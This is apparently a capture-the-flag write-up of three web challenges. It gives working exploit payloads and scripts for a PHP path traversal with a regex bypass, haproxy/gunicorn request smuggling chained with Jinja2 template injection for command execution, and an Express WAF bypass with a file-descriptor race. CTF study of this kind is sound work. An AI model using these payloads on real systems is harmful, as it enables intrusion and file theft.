readme | Easy
The flag was in
.ht_flag.txtfile.
This challenge was basically the upgraded version of the easy challenge from Karachi. The challenge was exactly similar except for one minor thing. The source code of the challenge is given as:
php<?phpfunction normalize($path){$parts = explode('/', $path);$safeParts = [];foreach ($parts as $part) {if ($part === '.' || $part === '') {continue;}if ($part === '..') {array_pop($safeParts);} else {$safeParts[] = $part;}}// Rebuild the pathreturn implode('/', $safeParts);}if (isset($GET['source'])) {showsource(__FILE);exit();}if (isset($_GET['file'])) {$file = $_REQUEST['file'];if (!preg_match('/^.(php|flag)./', $file)) {$real_file = normalize($file);readfile($real_file);} else {die('nope');}} else {?><h3><a target="_blank" href="/?source">Source?</a></h3><form action="/" method="get" enctype="multipart/form-data">Select a file to download:<input type="text" name="file" id="file"><input type="submit" value="Download!" name="submit"></form><?php}?>
While analyzing the code and comparing it with the challenge from Karachi, i came across the difference in both files which was the regex in the filter:
if (!preg_match('/^.(php|flag)./', $file)) {
Whilst, in Karachi challenge in regex, we had the multiline flag like this: /^.(php|flag)./m. This doesn’t mean much except for the fact that we can use a newline character \n to bypass this regex.
The actual solution for the Karachi challenge was that we can do a Catastrophic Backtracking Attack to provide a large string to PHP which would bypass the regex as well. I tried that for a while with no success. Then analyzing the code, the following part seems to be vulnerable:
phpforeach ($parts as $part) {if ($part === '.' || $part === '') {continue;}if ($part === '..') {array_pop($safeParts);} else {$safeParts[] = $part;}}
In the second condition, we are removing the last element of $safeParts array which means that if the element in array if .. whatever the last character is will be removed. Combining this with the regex bypass earlier of newline. We can send an input such as:
\n/../index.php
This bypassed the filter and we can read the index.php file. The final script to read the flag:
pythonimport requestspayload = "\n/../.ht_flag.txt"r = requests.post('http://3.142.89.90:32989?file=asd',data={'file': payload})print(r.text)
SMG | Medium
This is related to HTTP Descync
The challenge contained a haproxy behind which a flask app is running. The web app is basically vulnerable to SSTI. The vulnerable function on the backend is:
python@app.post("/admin")def admin():user_input = request.form.get('input')print(user_input, file=sys.stderr)if any(bl_item in user_input for bl_item in blacklist):return "Blocked input!"try:return render_template_string(f"Output: {user_input}")except Exception as e:return str(e)
The input from user is being directly passed through render_template_string function. This looks quite straight forward. However, haproxy doesn’t let us access URL:
frontend http bind *:80 default_backend web acl restricted_page path_sub -i admin http-request deny if restricted_page acl restricted_page path_sub % http-request deny if restricted_page
Morever, with second ACL condition, its also difficult to provide URL-encoded strings. Reading the code, we are using a very specific version of gunicorn in Dockerfile:
FROM haproxy:1.9.10USER rootRUN apt update -yRUN apt install -y python3 python3-pipRUN pip3 install -v 'gunicorn<=20.0.4'RUN pip3 install flask
The version gunicorn<=20.0.4 is very specific here to be exact. Looking online, i came across an HTTP Desync in this very specific version. Reading the blogs, i found a request specific for haproxy with gunicorn:
GET / HTTP/1.1Host: localhostContent-Length: 68Sec-Websocket-Key1: xxxxxxxxxGET /admin HTTP/1.1Host: localhostContent-Length: 35GET / HTTP/1.1Host: localhost
The request worked. However, everytime you change the payload the Content-Length here needs to be very correctly specified. If this is wrong, this would result in error. The first content length header
of 68 starts from the letter xxx.. and ends where the next request starts. While the second header of length 35 starts at the beginning of body which is at GET at the moment
and it ends at the \r\n\r\n.
The left up part is SSTI. Reading the filters, we can’t use {{ and }}. However, payloads like {%%} can still be used. The {% with %} tag can be used to get RCE:
html{% with a={} %}{% endwith %}
Initially i called import_string from __globals__ but that doesn’t work for some reason. So, lets go the old way of finding the Popen function first. Get the classes:
python{% with a="".__class__.__mro__[1].__subclasses__() %}{% print(a) %}{% endwith %}
This would result in a large output. Clean the output, store the list properly and the index of the Popen function. Once, you get the index, payload becomes simple:
python{% with a="".__class__.__mro__[1].__subclasses__()[213]('cat /flag*',shell=True,stdout=-1).communicate() %}{% print(a) %}{% endwith %}
With the final request would become:
GET / HTTP/1.1Host: localhost:80Content-Length: 261Sec-Websocket-Key1: xxxxxxxxxPOST /admin HTTP/1.1Host: localhostContent-Length: 177Content-Type: application/x-www-form-urlencodedinput={% with a="".__class__.__mro__[1].__subclasses__()[213]('cat /flag*',shell=True,stdout=-1).communicate()%}{% print(a) %}{% endwith %}GET / HTTP/1.1Host: localhost
wtwaf | Hard
Code Analysis & Race Condition. I wasn’t able to solve this challenge within due time. And kudos to its author and team Sekai for all the help in solving this later on.
Reading the code, we had to exploit 3 things:
- Bypass the
req.originalUrl.toLowerCase().startsWith("/admin")statement. - Bypass the WAF:
(item) => item && JSON.stringify(item).includes("flag") - Race conditon in
/admin/debugcall.
Initially, we need to bypass the middleware:
javascriptapp.use((req, res, next) => {if([req.body, req.headers, req.query].some((item) => item && JSON.stringify(item).includes("flag"))) {return res.status(403).end();}if (req.originalUrl.toLowerCase().startsWith("/admin") && req.headers.authorization !== `Bearer ${ADMIN_AUTH}`) {return res.status(403).end();}next();});
This would require us to do a bit of code analysis of express.js. The req.originalUrl is created as:
javascriptreq.originalUrl = req.orignalUrl || req.url
The req.url is the url after GET in http request. And the requests are resolved through pathname. The first condition can be bypassed by providing a full url after GET:
GET http://localhost/admin/debug HTTP/1.1Host: localhost:3000
At the reading part we have:
javascriptconst file = req.query.file ?? "/etc/hostname";console.log("file requesting: ", file)const contents = await fsp.readFile(file);
The file parameter can be dictionary as extended parameters are not set to false. The readFileSync and similar functions such as readFile can accept a dictionary with a specified set of attributes. The object to read a file is:
javascriptlet obj = {}obj['protocol'] = 'file:'obj['href'] = 'a'obj['hostname'] = ''obj['pathname'] = '/flag.txt'
Furthermore, the value of pathname can be `urlencoded as well:
GET http://localhost/admin/debig?file[href]=a&file[protocol]=file:&file[hostname]=&file[pathname]=/fl%2561g.txt HTTP/1.1
When the above url is requested, the file be read. However, an error will trigger at following line:
javascriptif (file.includes("flag")) {return res.status(404).end();}
Because now our parameter is an object and it doesn’t have a function named includes. This is where the race conditions comes in. Since, the readFile function is being successfully called, a file descriptor must have opened as well for this.
This is a very short window. If we can race the descriptor when the file is opened, we can read the flag. However, we can’t get just one descriptor as the time in which it opens is way too short. To cope this, we can generate infinity descriptors and try to race one.
This worked actually and the final poc would look like:
pythonimport threadingimport requestsimport timeimport socketclass EXPLOIT:__ENCODED = "/fl%2561g.txt"__TARGET = "http://localhost:3000"__DICTREAD = "file[href]=a&file[protocol]=file:&file[hostname]=&file[pathname]={}"__DESCRIPTPOR = "/proc/self/fd/26"def __init__(self):self.url = """{}/admin/debug?{}""".format(self.__TARGET,self.__DICTREAD).format(self.__ENCODED)self.url2 = """{}/admin/debug?file={}""".format(self.__TARGET,self.__DESCRIPTPOR)def request(self, raw_data, wait=False):p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)p.connect(("192.168.2.69", 8000))p.send(raw_data)if wait:data = p.recv(5000)if "flag" in data.decode():print("Flag: ", data)p.close()def baby_maker(self, url):print("Started Baby Maker...")while True:t = threading.Thread(target=self.request, args=(url,))t.daemon = Truet.start()def engage(self):url = b"GET "+ self.url.encode() + b" HTTP/1.1\r\nHost: localhost:8000\r\n\r\n"url2 = b"GET " + self.url2.encode() + b" HTTP/1.1\r\nHost: localhost:8000\r\n\r\n"t = threading.Thread(target=self.baby_maker, args=(url,))t.daemon = Truet.start()while True:t2 = threading.Thread(target=self.request, args=(url2, True))t2.daemon = Truet2.start()if __name__ == "__main__":EXPLOIT().engage()